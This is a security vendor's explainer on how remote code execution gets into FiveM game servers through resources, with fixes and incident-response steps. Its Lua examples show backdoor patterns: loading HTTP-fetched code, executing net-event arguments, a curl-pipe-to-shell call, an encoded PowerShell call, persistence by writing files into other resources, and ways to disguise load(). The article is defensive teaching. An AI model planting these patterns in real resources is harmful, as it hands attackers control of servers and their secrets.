Skip to content

FiveM RCE: how remote code execution gets into a server

Remote code execution in FiveM rarely needs an exploit - it ships inside resources. The five paths to load() and ExecuteCommand, with Lua examples and fixes.

Published 5 min readFXScan team, Titan Software

"FiveM RCE" usually brings to mind an exploit in the platform itself. Those exist, and they get patched. The remote code execution that actually hits servers is more mundane: a resource that turns data from outside the server into code or commands on the server. No vulnerability in FiveM is needed - the resource does it on purpose (a backdoor) or by accident (an unsafe handler).

This note lists the five paths that lead there, with Lua you can recognise, and what to do about each.

What counts as RCE in a FiveM resource

Remote code execution means someone who is not the server owner can make the server run code of their choosing. In a resource, that takes two things:

  • a source the attacker controls: an HTTP response, a net event argument, a chat command, a value read from a file they can influence;
  • a sink that executes: load, loadstring, ExecuteCommand, os.execute, io.popen, JavaScript eval or new Function, or a file written into a resource and later started.

Either half alone is ordinary. The vulnerability is the path between them.

Path 1: HTTP response → load()

PerformHttpRequest(url, function(_, body)
  load(body)()
end)

The classic backdoor. Whoever controls url runs arbitrary Lua on your server. It is almost always hidden behind decoding and an alias for load; the anatomy of a FiveM backdoor shows the common disguises, and PerformHttpRequest security covers telling it apart from a legitimate update check.

Fix: there is no safe version. A resource that executes downloaded code should not be on your server.

Path 2: net event → load() or ExecuteCommand

RegisterNetEvent("admin:run")
AddEventHandler("admin:run", function(code)
  load(code)()
end)

Any connected client can trigger a server event with any arguments - modded clients do it routinely. A handler that executes an argument is RCE for every player on the server. The same is true of:

AddEventHandler("srv:cmd", function(cmd)
  ExecuteCommand(cmd)  -- e.g. "add_principal identifier.fivem:1 group.admin"
end)

These are sometimes deliberate backdoors and sometimes "debug" tools someone forgot to remove. Either way, the fix is the same.

Fix: never execute event data. If an administrative action is genuinely needed, make it a fixed action selected by name, and check the caller's ACE permission on the server:

local ACTIONS = { restart_shop = function() --[[ ... ]] end }

RegisterNetEvent("admin:action")
AddEventHandler("admin:action", function(name)
  local src = source
  if not IsPlayerAceAllowed(src, "myresource.admin") then return end
  local action = ACTIONS[name]
  if action then action() end
end)

Path 3: chat or console command → ExecuteCommand

RegisterCommand("run", function(src, args)
  ExecuteCommand(table.concat(args, " "))
end, false)  -- restricted = false: anyone can use it

The third argument of RegisterCommand decides whether ACE restrictions apply. With false, every player can run /run, and every word they type becomes a server console command. FXScan flags privileged commands registered without an ACL restriction and chat arguments that become console commands.

Fix: register privileged commands with restricted = true and grant the command.run ace only to the groups that need it - and still do not pass raw arguments to ExecuteCommand.

Path 4: OS command execution

os.execute("curl -s " .. url .. " | sh")
io.popen("powershell -enc " .. payload)

The server-side Lua runtime ships the os and io libraries, and a few resources use them legitimately. Reaching the operating system means the attacker is no longer limited to the FiveM process: they can install persistence, read other services' files, or pivot elsewhere on the host. Any os.execute or io.popen in a resource you did not write deserves a line-by-line read.

Path 5: write a file, run it later

PerformHttpRequest(url, function(_, body)
  SaveResourceFile("chat", "server/sv_init.lua", body, -1)
end)

Nothing is executed now. The next time the chat resource restarts, the downloaded file runs as part of it - inside a resource you trust, which is the point. Variants append to another resource's fxmanifest.lua so a new script gets loaded, or edit server.cfg to ensure a resource. FXScan reports writes into other resources, to manifests, to the server configuration, and downloaded content written to disk, under persistence.

Fix: a resource has no reason to write into another resource. Remove it, then check every resource folder for files you do not recognise and every manifest for scripts you did not add.

Why grep is not enough

Searching your resources for load( or ExecuteCommand finds both too much and too little. Too much, because frameworks legitimately use them. Too little, because a backdoor rarely spells them out: _G["lo".."ad"], local x = load, string.char(108,111,97,100), or a timer handed a string all reach the same sink. What separates a backdoor from a framework is whether untrusted data can reach the sink - a data-flow question, not a text-search question.

That is the question FXScan's remote code execution and command execution rules answer: they follow values from HTTP responses, net events and command arguments through variables, tables, decoders and aliases, and report the path with file, line and excerpt at each step.

What to do if you find one

  1. Remove the resource and assume the server's secrets are known: rotate sv_licenseKey, database passwords, webhook URLs and any API keys in convars.
  2. Check other resources for written files and modified manifests (Path 5).
  3. Review your ACE groups for principals you did not add.
  4. Restore from a backup you know predates the resource, if you have one.

Titan Software's FiveM server security guide covers incident response and hardening in more depth.

The limits

Static analysis catches the paths that exist in the code you upload. It cannot see code that a server will download in the future, and a sufficiently indirect payload can exceed the analyser's budget. What a security scan cannot tell you is the full list - read it before treating a clean report as a guarantee.

To check a resource for these paths, upload it to the FiveM backdoor scanner.

Related reading

FiveM RCE Explained: How Remote Code Execution Happens | FXScan